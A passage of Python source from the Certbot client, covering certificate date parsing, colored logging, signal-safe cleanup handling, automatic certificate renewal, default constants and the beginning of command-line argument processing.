        or ``OpenSSL.crypto.X509.get_notAfter``

    :returns: the notBefore or notAfter value from the cert at cert_path
    :rtype: :class:`datetime.datetime`

    """
    with open(cert_path) as f:
        x509 = OpenSSL.crypto.load_certificate(OpenSSL.crypto.FILETYPE_PEM,
                                               f.read())
    # pyopenssl always returns bytes
    timestamp = method(x509)
    reformatted_timestamp = [timestamp[0:4], b"-", timestamp[4:6], b"-",
                             timestamp[6:8], b"T", timestamp[8:10], b":",
                             timestamp[10:12], b":", timestamp[12:]]
    timestamp_str = b"".join(reformatted_timestamp)
    # pyrfc3339 uses "native" strings. That is, bytes on Python 2 and unicode
    # on Python 3
    if six.PY3:
        timestamp_str = timestamp_str.decode('ascii')
    return pyrfc3339.parse(timestamp_str)






"""A formatter and StreamHandler for colorizing logging output."""
import logging
import sys

from certbot import util


class StreamHandler(logging.StreamHandler):
    """Sends colored logging output to a stream.

    If the specified stream is not a tty, the class works like the
    standard logging.StreamHandler. Default red_level is logging.WARNING.

    :ivar bool colored: True if output should be colored
    :ivar bool red_level: The level at which to output

    """

    def __init__(self, stream=None):
        if sys.version_info < (2, 7):
            # pragma: no cover
            # pylint: disable=non-parent-init-called
            logging.StreamHandler.__init__(self, stream)
        else:
            super(StreamHandler, self).__init__(stream)
        self.colored = (sys.stderr.isatty() if stream is None else
                        stream.isatty())
        self.red_level = logging.WARNING

    def format(self, record):
        """Formats the string representation of record.

        :param logging.LogRecord record: Record to be formatted

        :returns: Formatted, string representation of record
        :rtype: str

        """
        out = (logging.StreamHandler.format(self, record)
               if sys.version_info < (2, 7)
               else super(StreamHandler, self).format(record))
        if self.colored and record.levelno >= self.red_level:
            return ''.join((util.ANSI_SGR_RED, out, util.ANSI_SGR_RESET))
        else:
            return out






"""Registers functions to be called if an exception or signal occurs."""
import functools
import logging
import os
import signal
import traceback

from certbot import errors

logger = logging.getLogger(__name__)


# _SIGNALS stores the signals that will be handled by the ErrorHandler. These
# signals were chosen as their default handler terminates the process and could
# potentially occur from inside Python. Signals such as SIGILL were not
# included as they could be a sign of something devious and we should terminate
# immediately.
_SIGNALS = ([signal.SIGTERM] if os.name == "nt" else
            [signal.SIGTERM, signal.SIGHUP, signal.SIGQUIT,
             signal.SIGXCPU, signal.SIGXFSZ])


class ErrorHandler(object):
    """Context manager for running code that must be cleaned up on failure.

    The context manager allows you to register functions that will be called
    when an exception (excluding SystemExit) or signal is encountered. Usage:

    handler = ErrorHandler(cleanup1_func, *cleanup1_args, **cleanup1_kwargs)
    handler.register(cleanup2_func, *cleanup2_args, **cleanup2_kwargs)

    with handler:
        do_something()

    Or for one cleanup function:

    with ErrorHandler(func, args, kwargs):
        do_something()

    If an exception is raised out of do_something, the cleanup functions will
    be called in last in first out order. Then the exception is raised.
    Similarly, if a signal is encountered, the cleanup functions are called
    followed by the previously received signal handler.

    Each registered cleanup function is called exactly once. If a registered
    function raises an exception, it is logged and the next function is called.
    Signals received while the registered functions are executing are
    deferred until they finish.

    """
    def __init__(self, func=None, *args, **kwargs):
        self.body_executed = False
        self.funcs = []
        self.prev_handlers = {}
        self.received_signals = []
        if func is not None:
            self.register(func, *args, **kwargs)

    def __enter__(self):
        self.body_executed = False
        self._set_signal_handlers()

    def __exit__(self, exec_type, exec_value, trace):
        self.body_executed = True
        retval = False
        # SystemExit is ignored to properly handle forks that don't exec
        if exec_type in (None, SystemExit):
            return retval
        elif exec_type is errors.SignalExit:
            logger.debug("Encountered signals: %s", self.received_signals)
            retval = True
        else:
            logger.debug("Encountered exception:\n%s", "".join(
                traceback.format_exception(exec_type, exec_value, trace)))

        self._call_registered()
        self._reset_signal_handlers()
        self._call_signals()
        return retval

    def register(self, func, *args, **kwargs):
        """Sets func to be called with *args and **kwargs during cleanup

        :param function func: function to be called in case of an error

        """
        self.funcs.append(functools.partial(func, *args, **kwargs))

    def _call_registered(self):
        """Calls all registered functions"""
        logger.debug("Calling registered functions")
        while self.funcs:
            try:
                self.funcs[-1]()
            except Exception as error:  # pylint: disable=broad-except
                logger.error("Encountered exception during recovery")
                logger.exception(error)
            self.funcs.pop()

    def _set_signal_handlers(self):
        """Sets signal handlers for signals in _SIGNALS."""
        for signum in _SIGNALS:
            prev_handler = signal.getsignal(signum)
            # If prev_handler is None, the handler was set outside of Python
            if prev_handler is not None:
                self.prev_handlers[signum] = prev_handler
                signal.signal(signum, self._signal_handler)

    def _reset_signal_handlers(self):
        """Resets signal handlers for signals in _SIGNALS."""
        for signum in self.prev_handlers:
            signal.signal(signum, self.prev_handlers[signum])
        self.prev_handlers.clear()

    def _signal_handler(self, signum, unused_frame):
        """Replacement function for handling recieved signals.

        Store the recieved signal. If we are executing the code block in
        the body of the context manager, stop by raising signal exit.

        :param int signum: number of current signal

        """
        self.received_signals.append(signum)
        if not self.body_executed:
            raise errors.SignalExit

    def _call_signals(self):
        """Finally call the deferred signals."""
        for signum in self.received_signals:
            logger.debug("Calling signal %s", signum)
            os.kill(os.getpid(), signum)






"""Functionality for autorenewal and associated juggling of configurations"""
from __future__ import print_function
import copy
import glob
import logging
import os
import traceback

import six
import zope.component

import OpenSSL

from certbot import configuration
from certbot import cli
from certbot import constants

from certbot import crypto_util
from certbot import errors
from certbot import interfaces
from certbot import util
from certbot import hooks
from certbot import storage
from certbot.plugins import disco as plugins_disco

logger = logging.getLogger(__name__)

# These are the items which get pulled out of a renewal configuration
# file's renewalparams and actually used in the client configuration
# during the renewal process. We have to record their types here because
# the renewal configuration process loses this information.
STR_CONFIG_ITEMS = ["config_dir", "logs_dir", "work_dir", "user_agent",
                    "server", "account", "authenticator", "installer",
                    "standalone_supported_challenges"]
INT_CONFIG_ITEMS = ["rsa_key_size", "tls_sni_01_port", "http01_port"]


def renewal_conf_files(config):
    """Return /path/to/*.conf in the renewal conf directory"""
    return glob.glob(os.path.join(config.renewal_configs_dir, "*.conf"))


def _reconstitute(config, full_path):
    """Try to instantiate a RenewableCert, updating config with relevant items.

    This is specifically for use in renewal and enforces several checks
    and policies to ensure that we can try to proceed with the renwal
    request. The config argument is modified by including relevant options
    read from the renewal configuration file.

    :param configuration.NamespaceConfig config: configuration for the
        current lineage
    :param str full_path: Absolute path to the configuration file that
        defines this lineage

    :returns: the RenewableCert object or None if a fatal error occurred
    :rtype: `storage.RenewableCert` or NoneType

    """
    try:
        renewal_candidate = storage.RenewableCert(
            full_path, configuration.RenewerConfiguration(config))
    except (errors.CertStorageError, IOError) as exc:
        logger.warning(exc)
        logger.warning("Renewal configuration file %s is broken. Skipping.", full_path)
        logger.debug("Traceback was:\n%s", traceback.format_exc())
        return None
    if "renewalparams" not in renewal_candidate.configuration:
        logger.warning("Renewal configuration file %s lacks "
                       "renewalparams. Skipping.", full_path)
        return None
    renewalparams = renewal_candidate.configuration["renewalparams"]
    if "authenticator" not in renewalparams:
        logger.warning("Renewal configuration file %s does not specify "
                       "an authenticator. Skipping.", full_path)
        return None
    # Now restore specific values along with their data types, if
    # those elements are present.
    try:
        _restore_required_config_elements(config, renewalparams)
        _restore_plugin_configs(config, renewalparams)
    except (ValueError, errors.Error) as error:
        logger.warning(
            "An error occurred while parsing %s. The error was %s. "
            "Skipping the file.", full_path, error.message)
        logger.debug("Traceback was:\n%s", traceback.format_exc())
        return None

    try:
        config.domains = [util.enforce_domain_sanity(d)
                          for d in renewal_candidate.names()]
    except errors.ConfigurationError as error:
        logger.warning("Renewal configuration file %s references a cert "
                       "that contains an invalid domain name. The problem "
                       "was: %s. Skipping.", full_path, error)
        return None

    return renewal_candidate


def _restore_webroot_config(config, renewalparams):
    """
    webroot_map is, uniquely, a dict, and the general-purpose configuration
    restoring logic is not able to correctly parse it from the serialized
    form.
    """
    if "webroot_map" in renewalparams:
        if not cli.set_by_cli("webroot_map"):
            config.namespace.webroot_map = renewalparams["webroot_map"]
    elif "webroot_path" in renewalparams:
        logger.debug("Ancient renewal conf file without webroot-map, restoring webroot-path")
        wp = renewalparams["webroot_path"]
        if isinstance(wp, str):  # prior to 0.1.0, webroot_path was a string
            wp = [wp]
        config.namespace.webroot_path = wp


def _restore_plugin_configs(config, renewalparams):
    """Sets plugin specific values in config from renewalparams

    :param configuration.NamespaceConfig config: configuration for the
        current lineage
    :param configobj.Section renewalparams: Parameters from the renewal
        configuration file that defines this lineage

    """
    # Now use parser to get plugin-prefixed items with correct types
    # XXX: the current approach of extracting only prefixed items
    #      related to the actually-used installer and authenticator
    #      works as long as plugins don't need to read plugin-specific
    #      variables set by someone else (e.g., assuming Apache
    #      configurator doesn't need to read webroot_ variables).
    # Note: if a parameter that used to be defined in the parser is no
    #      longer defined, stored copies of that parameter will be
    #      deserialized as strings by this logic even if they were
    #      originally meant to be some other type.
    if renewalparams["authenticator"] == "webroot":
        _restore_webroot_config(config, renewalparams)
        plugin_prefixes = []
    else:
        plugin_prefixes = [renewalparams["authenticator"]]

    if renewalparams.get("installer", None) is not None:
        plugin_prefixes.append(renewalparams["installer"])
    for plugin_prefix in set(plugin_prefixes):
        plugin_prefix = plugin_prefix.replace('-', '_')
        for config_item, config_value in six.iteritems(renewalparams):
            if config_item.startswith(plugin_prefix + "_") and not cli.set_by_cli(config_item):
                # Values None, True, and False need to be treated specially,
                # As their types aren't handled correctly by configobj
                if config_value in ("None", "True", "False"):
                    # bool("False") == True
                    # pylint: disable=eval-used
                    setattr(config.namespace, config_item, eval(config_value))
                else:
                    cast = cli.argparse_type(config_item)
                    setattr(config.namespace, config_item, cast(config_value))


def _restore_required_config_elements(config, renewalparams):
    """Sets non-plugin specific values in config from renewalparams

    :param configuration.NamespaceConfig config: configuration for the
        current lineage
    :param configobj.Section renewalparams: parameters from the renewal
        configuration file that defines this lineage

    """
    # string-valued items to add if they're present
    for config_item in STR_CONFIG_ITEMS:
        if config_item in renewalparams and not cli.set_by_cli(config_item):
            value = renewalparams[config_item]
            # Unfortunately, we've lost type information from ConfigObj,
            # so we don't know if the original was NoneType or str!
            if value == "None":
                value = None
            setattr(config.namespace, config_item, value)
    # int-valued items to add if they're present
    for config_item in INT_CONFIG_ITEMS:
        if config_item in renewalparams and not cli.set_by_cli(config_item):
            config_value = renewalparams[config_item]
            # the default value for http01_port was None during private beta
            if config_item == "http01_port" and config_value == "None":
                logger.info("updating legacy http01_port value")
                int_value = cli.flag_default("http01_port")
            else:
                try:
                    int_value = int(config_value)
                except ValueError:
                    raise errors.Error(
                        "Expected a numeric value for {0}".format(config_item))
            setattr(config.namespace, config_item, int_value)


def should_renew(config, lineage):
    "Return true if any of the circumstances for automatic renewal apply."
    if config.renew_by_default:
        logger.debug("Auto-renewal forced with --force-renewal...")
        return True
    if lineage.should_autorenew(interactive=True):
        logger.info("Cert is due for renewal, auto-renewing...")
        return True
    if config.dry_run:
        logger.info("Cert not due for renewal, but simulating renewal for dry run")
        return True
    logger.info("Cert not yet due for renewal")
    return False


def _avoid_invalidating_lineage(config, lineage, original_server):
    "Do not renew a valid cert with one from a staging server!"
    def _is_staging(srv):
        return srv == constants.STAGING_URI or "staging" in srv

    # Some lineages may have begun with --staging, but then had production certs
    # added to them
    latest_cert = OpenSSL.crypto.load_certificate(
        OpenSSL.crypto.FILETYPE_PEM, open(lineage.cert).read())
    # all our test certs are from happy hacker fake CA, though maybe one day
    # we should test more methodically
    now_valid = "fake" not in repr(latest_cert.get_issuer()).lower()

    if _is_staging(config.server):
        if not _is_staging(original_server) or now_valid:
            if not config.break_my_certs:
                names = ", ".join(lineage.names())
                raise errors.Error(
                    "You've asked to renew/replace a seemingly valid certificate with "
                    "a test certificate (domains: {0}). We will not do that "
                    "unless you use the --break-my-certs flag!".format(names))


def renew_cert(config, domains, le_client, lineage):
    "Renew a certificate lineage."
    renewal_params = lineage.configuration["renewalparams"]
    original_server = renewal_params.get("server", cli.flag_default("server"))
    _avoid_invalidating_lineage(config, lineage, original_server)
    new_certr, new_chain, new_key, _ = le_client.obtain_certificate(domains)
    if config.dry_run:
        logger.debug("Dry run: skipping updating lineage at %s",
                    os.path.dirname(lineage.cert))
    else:
        prior_version = lineage.latest_common_version()
        new_cert = OpenSSL.crypto.dump_certificate(
            OpenSSL.crypto.FILETYPE_PEM, new_certr.body.wrapped)
        new_chain = crypto_util.dump_pyopenssl_chain(new_chain)
        renewal_conf = configuration.RenewerConfiguration(config.namespace)
        # TODO: Check return value of save_successor
        lineage.save_successor(prior_version, new_cert, new_key.pem, new_chain, renewal_conf)
        lineage.update_all_links_to(lineage.latest_common_version())

    hooks.renew_hook(config, domains, lineage.live_dir)


def report(msgs, category):
    "Format a results report for a category of renewal outcomes"
    lines = ("%s (%s)" % (m, category) for m in msgs)
    return "  " + "\n  ".join(lines)

def _renew_describe_results(config, renew_successes, renew_failures,
                            renew_skipped, parse_failures):

    out = []
    notify = out.append

    if config.dry_run:
        notify("** DRY RUN: simulating 'certbot renew' close to cert expiry")
        notify("**          (The test certificates below have not been saved.)")
    notify("")
    if renew_skipped:
        notify("The following certs are not due for renewal yet:")
        notify(report(renew_skipped, "skipped"))
    if not renew_successes and not renew_failures:
        notify("No renewals were attempted.")
    elif renew_successes and not renew_failures:
        notify("Congratulations, all renewals succeeded. The following certs "
               "have been renewed:")
        notify(report(renew_successes, "success"))
    elif renew_failures and not renew_successes:
        notify("All renewal attempts failed. The following certs could not be "
               "renewed:")
        notify(report(renew_failures, "failure"))
    elif renew_failures and renew_successes:
        notify("The following certs were successfully renewed:")
        notify(report(renew_successes, "success"))
        notify("\nThe following certs could not be renewed:")
        notify(report(renew_failures, "failure"))

    if parse_failures:
        notify("\nAdditionally, the following renewal configuration files "
               "were invalid: ")
        notify(report(parse_failures, "parsefail"))

    if config.dry_run:
        notify("** DRY RUN: simulating 'certbot renew' close to cert expiry")
        notify("**          (The test certificates above have not been saved.)")

    if config.quiet and not (renew_failures or parse_failures):
        return
    print("\n".join(out))


def renew_all_lineages(config):
    """Examine each lineage; renew if due and report results"""

    # This is trivially False if config.domains is empty
    if any(domain not in config.webroot_map for domain in config.domains):
        # If more plugins start using cli.add_domains,
        # we may want to only log a warning here
        raise errors.Error("Currently, the renew verb is only capable of "
                           "renewing all installed certificates that are due "
                           "to be renewed; individual domains cannot be "
                           "specified with this action. If you would like to "
                           "renew specific certificates, use the certonly "
                           "command. The renew verb may provide other options "
                           "for selecting certificates to renew in the future.")
    renewer_config = configuration.RenewerConfiguration(config)
    renew_successes = []
    renew_failures = []
    renew_skipped = []
    parse_failures = []
    for renewal_file in renewal_conf_files(renewer_config):
        disp = zope.component.getUtility(interfaces.IDisplay)
        disp.notification("Processing " + renewal_file, pause=False)
        lineage_config = copy.deepcopy(config)

        # Note that this modifies config (to add back the configuration
        # elements from within the renewal configuration file).
        try:
            renewal_candidate = _reconstitute(lineage_config, renewal_file)
        except Exception as e:  # pylint: disable=broad-except
            logger.warning("Renewal configuration file %s produced an "
                           "unexpected error: %s. Skipping.", renewal_file, e)
            logger.debug("Traceback was:\n%s", traceback.format_exc())
            parse_failures.append(renewal_file)
            continue

        try:
            if renewal_candidate is None:
                parse_failures.append(renewal_file)
            else:
                # XXX: ensure that each call here replaces the previous one
                zope.component.provideUtility(lineage_config)
                if should_renew(lineage_config, renewal_candidate):
                    plugins = plugins_disco.PluginsRegistry.find_all()
                    from certbot import main
                    main.obtain_cert(lineage_config, plugins, renewal_candidate)
                    renew_successes.append(renewal_candidate.fullchain)
                else:
                    renew_skipped.append(renewal_candidate.fullchain)
        except Exception as e:  # pylint: disable=broad-except
            # obtain_cert (presumably) encountered an unanticipated problem.
            logger.warning("Attempting to renew cert from %s produced an "
                           "unexpected error: %s. Skipping.", renewal_file, e)
            logger.debug("Traceback was:\n%s", traceback.format_exc())
            renew_failures.append(renewal_candidate.fullchain)

    # Describe all the results
    _renew_describe_results(config, renew_successes, renew_failures,
                            renew_skipped, parse_failures)

    if renew_failures or parse_failures:
        raise errors.Error("{0} renew failure(s), {1} parse failure(s)".format(
            len(renew_failures), len(parse_failures)))
    else:
        logger.debug("no renewal failures")






"""Certbot constants."""
import os
import logging

from acme import challenges


SETUPTOOLS_PLUGINS_ENTRY_POINT = "certbot.plugins"
"""Setuptools entry point group name for plugins."""

OLD_SETUPTOOLS_PLUGINS_ENTRY_POINT = "letsencrypt.plugins"
"""Plugins Setuptools entry point before rename."""

CLI_DEFAULTS = dict(
    config_files=[
        "/etc/letsencrypt/cli.ini",
        # http://freedesktop.org/wiki/Software/xdg-user-dirs/
        os.path.join(os.environ.get("XDG_CONFIG_HOME", "~/.config"),
                     "letsencrypt", "cli.ini"),
    ],
    verbose_count=-int(logging.INFO / 10),
    server="https://acme-v01.api.letsencrypt.org/directory",
    rsa_key_size=2048,
    rollback_checkpoints=1,
    config_dir="/etc/letsencrypt",
    work_dir="/var/lib/letsencrypt",
    logs_dir="/var/log/letsencrypt",
    no_verify_ssl=False,
    http01_port=challenges.HTTP01Response.PORT,
    tls_sni_01_port=challenges.TLSSNI01Response.PORT,

    auth_cert_path="./cert.pem",
    auth_chain_path="./chain.pem",
    strict_permissions=False,
)
STAGING_URI = "https://acme-staging.api.letsencrypt.org/directory"

"""Defaults for CLI flags and `.IConfig` attributes."""

RENEWER_DEFAULTS = dict(
    renewer_enabled="yes",
    renew_before_expiry="30 days",
    # This value should ensure that there is never a deployment delay by
    # default.
    deploy_before_expiry="99 years",
)
"""Defaults for renewer script."""


ENHANCEMENTS = ["redirect", "http-header", "ocsp-stapling", "spdy"]
"""List of possible :class:`certbot.interfaces.IInstaller`
enhancements.

List of expected options parameters:
- redirect: None
- http-header: TODO
- ocsp-stapling: TODO
- spdy: TODO

"""

ARCHIVE_DIR = "archive"
"""Archive directory, relative to `IConfig.config_dir`."""

CONFIG_DIRS_MODE = 0o755
"""Directory mode for ``.IConfig.config_dir`` et al."""

ACCOUNTS_DIR = "accounts"
"""Directory where all accounts are saved."""

BACKUP_DIR = "backups"
"""Directory (relative to `IConfig.work_dir`) where backups are kept."""

CSR_DIR = "csr"
"""See `.IConfig.csr_dir`."""

IN_PROGRESS_DIR = "IN_PROGRESS"
"""Directory used before a permanent checkpoint is finalized (relative to
`IConfig.work_dir`)."""

KEY_DIR = "keys"
"""Directory (relative to `IConfig.config_dir`) where keys are saved."""

LIVE_DIR = "live"
"""Live directory, relative to `IConfig.config_dir`."""

TEMP_CHECKPOINT_DIR = "temp_checkpoint"
"""Temporary checkpoint directory (relative to `IConfig.work_dir`)."""

RENEWAL_CONFIGS_DIR = "renewal"
"""Renewal configs directory, relative to `IConfig.config_dir`."""

RENEWER_CONFIG_FILENAME = "renewer.conf"
"""Renewer config file name (relative to `IConfig.config_dir`)."""






"""Certbot command line argument & config processing."""
from __future__ import print_function
import argparse
import copy
import glob
import logging
import logging.handlers
import os
import sys

import configargparse
import six

import certbot

from certbot import constants
from certbot import crypto_util
from certbot import errors
from certbot import hooks
from certbot import interfaces
from certbot import util

from certbot.plugins import disco as plugins_disco
import certbot.plugins.selection as plugin_selection

logger = logging.getLogger(__name__)

# Global, to save us from a lot of argument passing within the scope of this module
helpful_parser = None

# For help strings, figure out how the user ran us.
# When invoked from letsencrypt-auto, sys.argv[0] is something like:
# "/home/user/.local/share/certbot/bin/certbot"
# Note that this won't work if the user set VENV_PATH or XDG_DATA_HOME before
# running letsencrypt-auto (and sudo stops us from seeing if they did), so it
# should only be used for purposes where inability to detect letsencrypt-auto
# fails safely

LEAUTO = "letsencrypt-auto"
if "CERTBOT_AUTO" in os.environ:
    # if we're here, this is probably going to be certbot-auto, unless the
    # user saved the script under a different name
    LEAUTO = os.path.basename(os.environ["CERTBOT_AUTO"])

fragment = os.path.join(".local", "share", "letsencrypt")
cli_command = LEAUTO if fragment in sys.argv[0] else "certbot"

# Argparse's help formatting has a lot of unhelpful peculiarities, so we want
# to replace as much of it as we can...

# This is the stub to include in help generated by argparse

SHORT_USAGE = """
  {0} [SUBCOMMAND] [options] [-d domain] [-d domain] ...

Certbot can obtain and install HTTPS/TLS/SSL certificates.  By default,
it will attempt to use a webserver both for obtaining and installing the
cert. Major SUBCOMMANDS are:

  (default) run        Obtain & install a cert in your current webserver
  certonly             Obtain cert, but do not install it (aka "auth")
  install              Install a previously obtained cert in a server
  renew                Renew previously obtained certs that are near expiry
  revoke               Revoke a previously obtained certificate
  register             Perform tasks related to registering with the CA
  rollback             Rollback server configuration changes made during install
  config_changes       Show changes made to server config during installation
  plugins              Display information about installed plugins

""".format(cli_command)

# This is the short help for certbot --help, where we disable argparse
# altogether
USAGE = SHORT_USAGE + """Choice of server plugins for obtaining and installing cert:

  %s
  --standalone      Run a standalone webserver for authentication
  %s
  --webroot         Place files in a server's webroot folder for authentication

OR use different plugins to obtain (authenticate) the cert and then install it:

  --authenticator standalone --installer apache

More detailed help:

  -h, --help [topic]    print this message, or detailed help on a topic;
                        the available topics are:

   all, automation, paths, security, testing, or any of the subcommands or
   plugins (certonly, renew, install, register, nginx, apache, standalone,
   webroot, etc.)
"""


# These argparse parameters should be removed when detecting defaults.
ARGPARSE_PARAMS_TO_REMOVE = ("const", "nargs", "type",)


# These sets are used when to help detect options set by the user.
EXIT_ACTIONS = set(("help", "version",))


ZERO_ARG_ACTIONS = set(("store_const", "store_true",
                        "store_false", "append_const", "count",))


# Maps a config option to a set of config options that may have modified it.
# This dictionary is used recursively, so if A modifies B and B modifies C,
# it is determined that C was modified by the user if A was modified.
VAR_MODIFIERS = {"account": set(("server",)),
                 "server": set(("dry_run", "staging",)),
                 "webroot_map": set(("webroot_path",))}


def report_config_interaction(modified, modifiers):
    """Registers config option interaction to be checked by set_by_cli.

    This function can be called by during the __init__ or
    add_parser_arguments methods of plugins to register interactions
    between config options.

    :param modified: config options that can be modified by modifiers
    :type modified: iterable or str
    :param modifiers: config options that modify modified
    :type modifiers: iterable or str

    """
    if isinstance(modified, str):
        modified = (modified,)
    if isinstance(modifiers, str):
        modifiers = (modifiers,)

    for var in modified:
        VAR_MODIFIERS.setdefault(var, set()).update(modifiers)


def usage_strings(plugins):
    """Make usage strings late so that plugins can be initialised late"""
    if "nginx" in plugins:
        nginx_doc = "--nginx           Use the Nginx plugin for authentication & installation"
    else:
        nginx_doc = "(nginx support is experimental, buggy, and not installed by default)"
    if "apache" in plugins:
        apache_doc = "--apache          Use the Apache plugin for authentication & installation"
    else:
        apache_doc = "(the apache plugin is not installed)"
    return USAGE % (apache_doc, nginx_doc), SHORT_USAGE


def possible_deprecation_warning(config):
    "A deprecation warning for users with the old, not-self-upgrading letsencrypt-auto."
    if cli_command != LEAUTO:
        return
    if config.no_self_upgrade:
        # users setting --no-self-upgrade might be hanging on a clent version like 0.3.0
        # or 0.5.0 which is the new script, but doesn't set CERTBOT_AUTO; they don't
        # need warnings
        return
    if "CERTBOT_AUTO" not in os.environ:
        logger.warning("You are running with an old copy of letsencrypt-auto that does "
            "not receive updates, and is less reliable than more recent versions. "
            "We recommend upgrading to the latest certbot-auto script, or using native "
            "OS packages.")
        logger.debug("Deprecation warning circumstances: %s / %s", sys.argv[0], os.environ)


class _Default(object):
    """A class to use as a default to detect if a value is set by a user"""

    def __bool__(self):
        return False

    def __eq__(self, other):
        return isinstance(other, _Default)

    def __hash__(self):
        return id(_Default)

    def __nonzero__(self):
        return self.__bool__()


def set_by_cli(var):
    """
    Return True if a particular config variable has been set by the user
    (CLI or config file) including if the user explicitly set it to the
    default.  Returns False if the variable was assigned a default value.
    """
    detector = set_by_cli.detector
    if detector is None:
        # Setup on first run: `detector` is a weird version of config in which
        # the default value of every attribute is wrangled to be boolean-false
        plugins = plugins_disco.PluginsRegistry.find_all()
        # reconstructed_args == sys.argv[1:], or whatever was passed to main()
        reconstructed_args = helpful_parser.args + [helpful_parser.verb]
        detector = set_by_cli.detector = prepare_and_parse_args(
            plugins, reconstructed_args, detect_defaults=True)
        # propagate plugin requests: eg --standalone modifies config.authenticator
        detector.authenticator, detector.installer = (
            plugin_selection.cli_plugin_requests(detector))
        logger.debug("Default Detector is %r", detector)

    if not isinstance(getattr(detector, var), _Default):
        return True

    for modifier in VAR_MODIFIERS.get(var, []):
        if set_by_cli(modifier):
            return True

    return False
# static housekeeping var
set_by_cli.detector = None


def has_default_value(option, value):
    """Does option have the default value?

    If the default value of option is not known, False is returned.

    :param str option: configuration variable being considered
    :param value: value of the configuration variable named option

    :returns: True if option has the default value, otherwise, False
    :rtype: bool

    """
    return (option in helpful_parser.defaults and
            helpful_parser.defaults[option] == value)


def option_was_set(option, value):
    """Was option set by the user or does it differ from the default?

    :param str option: configuration variable being considered
    :param value: value of the configuration variable named option

    :returns: True if the option was set, otherwise, False
    :rtype: bool

    """
    return set_by_cli(option) or not has_default_value(option, value)


def argparse_type(variable):
    "Return our argparse type function for a config variable (default: str)"
    # pylint: disable=protected-access
    for action in helpful_parser.parser._actions:
        if action.type is not None and action.dest == variable:
            return action.type
    return str

def read_file(filename, mode="rb"):
    """Returns the given file's contents.

    :param str filename: path to file
    :param str mode: open mode (see `open`)

    :returns: absolute path of filename and its contents
    :rtype: tuple

    :raises argparse.ArgumentTypeError: File does not exist or is not readable.

    """
    try:
        filename = os.path.abspath(filename)
        return filename, open(filename, mode).read()
    except IOError as exc:
        raise argparse.ArgumentTypeError(exc.strerror)


def flag_default(name):
    """Default value for CLI flag."""
    # XXX: this is an internal housekeeping notion of defaults before
    # argparse has been set up; it is not accurate for all flags.  Call it
    # with caution.  Plugin defaults are missing, and some things are using
    # defaults defined in this file, not in constants.py :(
    return constants.CLI_DEFAULTS[name]


def config_help(name, hidden=False):
    """Extract the help message for an `.IConfig` attribute."""
    if hidden:
        return argparse.SUPPRESS
    else:
        return interfaces.IConfig[name].__doc__


class HelpfulArgumentGroup(object):
    """Emulates an argparse group for use with HelpfulArgumentParser.

    This class is used in the add_group method of HelpfulArgumentParser.
    Command line arguments can be added to the group, but help
    suppression and default detection is applied by
    HelpfulArgumentParser when necessary.

    """
    def __init__(self, helpful_arg_parser, topic):
        self._parser = helpful_arg_parser
        self._topic = topic

    def add_argument(self, *args, **kwargs):
        """Add a new command line argument to the argument group."""
        self._parser.add(self._topic, *args, **kwargs)


class HelpfulArgumentParser(object):
    """Argparse Wrapper.

    This class wraps argparse, adding the ability to make --help less
    verbose, and request help on specific subcategories at a time, eg
    'certbot --help security' for security options.

    """

    def __init__(self, args, plugins, detect_defaults=False):
        from certbot import main
        self.VERBS = {"auth": main.obtain_cert, "certonly": main.obtain_cert,
                      "config_changes": main.config_changes, "run": main.run,
                      "install": main.install, "plugins": main.plugins_cmd,
                      "register": main.register, "renew": main.renew,
                      "revoke": main.revoke, "rollback": main.rollback,
                      "everything": main.run}

        # List of topics for which additional help can be provided
        HELP_TOPICS = ["all", "security", "paths", "automation", "testing"] + list(self.VERBS)

        plugin_names = list(plugins)
        self.help_topics = HELP_TOPICS + plugin_names + [None]
        usage, short_usage = usage_strings(plugins)
        self.parser = configargparse.ArgParser(
            usage=short_usage,
            formatter_class=argparse.ArgumentDefaultsHelpFormatter,
            args_for_setting_config_path=["-c", "--config"],
            default_config_files=flag_default("config_files"))

        # This is the only way to turn off overly verbose config flag documentation
        self.parser._add_config_file_help = False  # pylint: disable=protected-access

        self.detect_defaults = detect_defaults

        self.args = args
        self.determine_verb()
        help1 = self.prescan_for_flag("-h", self.help_topics)
        help2 = self.prescan_for_flag("--help", self.help_topics)
        if isinstance(help1, bool) and isinstance(help2, bool):
            self.help_arg = help1 or help2
        else:
            self.help_arg = help1 if isinstance(help1, str) else help2
        if self.help_arg is True:
            # just --help with no topic; avoid argparse altogether
            print(usage)
            sys.exit(0)
        self.visible_topics = self.determine_help_topics(self.help_arg)
        self.groups = {}       # elements are added by .add_group()
        self.defaults = {}  # elements are added by .parse_args()

    def parse_args(self):
        """Parses command line arguments and returns the result.

        :returns: parsed command line arguments
        :rtype: argparse.Namespace

        """
        parsed_args = self.parser.parse_args(self.args)
        parsed_args.func = self.VERBS[self.verb]
        parsed_args.verb = self.verb

        if self.detect_defaults:
            return parsed_args

        self.defaults = dict((key, copy.deepcopy(self.parser.get_default(key)))
                             for key in vars(parsed_args))

        # Do any post-parsing homework here

        if self.verb == "renew" and not parsed_args.dialog_mode:
            parsed_args.noninteractive_mode = True

        if parsed_args.staging or parsed_args.dry_run:
            self.set_test_server(parsed_args)

        if parsed_args.csr:
            self.handle_csr(parsed_args)

        if parsed_args.must_staple:
            parsed_args.staple = True

        # Avoid conflicting args
        conficting_args = ["quiet", "noninteractive_mode", "text_mode"]
        if parsed_args.dialog_mode:
            for arg in conficting_args:
                if getattr(parsed_args, arg):
                    raise errors.Error(
                        ("Conflicting values for displayer."
                        " {0} conflicts with dialog_mode").format(arg))
        elif parsed_args.verbose_count > flag_default("verbose_count"):
            parsed_args.text_mode = True

        if parsed_args.validate_hooks:
            hooks.validate_hooks(parsed_args)

        return parsed_args

    def set_test_server(self, parsed_args):
        """We have --staging/--dry-run; perform sanity check and set config.server"""

        if parsed_args.server not in (flag_default("server"), constants.STAGING_URI):
            conflicts = ["--staging"] if parsed_args.staging else []
            conflicts += ["--dry-run"] if parsed_args.dry_run else []
            raise errors.Error("--server value conflicts with {0}".format(
                " and ".join(conflicts)))

        parsed_args.server = constants.STAGING_URI

        if parsed_args.dry_run:
            if self.verb not in ["certonly", "renew"]:
                raise errors.Error("--dry-run currently only works with the "
                                   "'certonly' or 'renew' subcommands (%r)" % self.verb)
            parsed_args.break_my_certs = parsed_args.staging = True
            if glob.glob(os.path.join(parsed_args.config_dir, constants.ACCOUNTS_DIR, "*")):
                # The user has a prod account, but might not have a staging
                # one; we don't want to start trying to perform interactive registration
                parsed_args.tos = True
                parsed_args.register_unsafely_without_email = True

    def handle_csr(self, parsed_args):
        """Process a --csr flag."""
        if parsed_args.verb != "certonly":
            raise errors.Error("Currently, a CSR file may only be specified "
